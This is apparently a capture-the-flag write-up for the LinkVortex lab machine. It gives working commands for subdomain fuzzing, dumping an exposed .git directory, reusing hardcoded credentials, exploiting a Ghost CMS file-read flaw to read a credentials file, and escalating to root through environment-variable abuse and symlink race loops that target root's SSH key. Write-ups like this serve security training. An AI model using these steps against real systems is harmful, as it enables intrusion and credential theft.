LinkVortex writeup

LinkVortex is a Linux box that involves subdomain enumeration and source‑code disclosure via a .git directory. We will reuse hardcoded credentials, exploit a Ghost CMS arbitrary file read (CVE‑2023‑40028) to obtain SSH credentials, and escalate privileges through environment variable manipulation in a custom script.

Scan the target using nmap:

nmap -sC -sV linkvortex.htb

Nmap scan returns two ports: 22 and 80.

Add linkvortex.htb to the /etc/hosts file.

Fuzz vhosts using ffuf:

ffuf -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -w subdomains.txt -fs 0

This finds dev.linkvortex subdomain.

Further directory brute‑force returns a .git directory on that subdomain.

Extract .git contents using git‑dumper or another tool:

git-dumper http://dev.linkvortex.htb/.git/ linkvortex_src

View staged but not committed changes:

git status

View what has changed in the authentication.test.js file:

git diff HEAD -- authentication.test.js

And we have found hardcoded credentials:

test@example.com:OctopiFociPilfer45

And from nmap we know that there is a /ghost endpoint. If you load it, it contains an admin panel.

4da5d4a513de04a99fc54def1526ed48.png

Check for credentials reuse by using the admin email instead of test@example.com.

f5e13b14ec9dd76738bd2d93602d2ca3.png

And it works!

This instance’s version is outdated.

20f57ae1c8dc5fd5fb18d4ffed095eab.png

It has a public exploit available:

https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028

Then you can review Ghost’s source code to understand what file we need to target to get credentials. In this case we need:

/var/lib/ghost/config.production.json

We get the following credentials:

bob@linkvortex.htb:fibber-talented-worth

Those credentials work on SSH:

ssh bob@linkvortex.htb

Turns out bob can run this script as root without credentials.

Script contents:

#!/bin/bash
CHECK_CONTENT=false
# ... rest of script

In CHECK_CONTENT=false, false looks like a boolean but it’s actually the /usr/bin/false binary. We can change CHECK_CONTENT to sudo to get root:

export CHECK_CONTENT=sudo
./script.sh

There are two alternative ways to exploit this script:

  1. Double symlink: You can create a symlink that points to another symlink. Then /usr/bin/readlink will resolve only to the second symlink without following it further. Then you can set CHECK_CONTENT=true, and the script will attempt to read the second symlink, which could be pointed at /root/.ssh/id_rsa or /root/root.txt (the flag).

  2. Race condition: You could exploit a race condition between the moment the file is moved to quarantine and when it is read.

    /usr/bin/mv $LINK $QUAR_DIR/          <-- file being moved
    if $CHECK_CONTENT; then               <-- [A time window when the file
      /usr/bin/echo "Content:"            <--  in quarantine can be replaced]
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null <-- reading the file
    

    This loop should be set up in the quarantine directory (/var/quarantined):

    while true; do ln -sf /root/.ssh/id_rsa race.png; done
    

    Then by running:

    CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh race.png
    

    A legitimate file would be moved to quarantine, where it would then be immediately replaced with a symlink pointing to /root/.ssh/id_rsa.

Credentials

test@example.com:OctopiFociPilfer45
admin@linkvortex.htb:OctopiFociPilfer45
bob@linkvortex.htb:fibber-talented-worth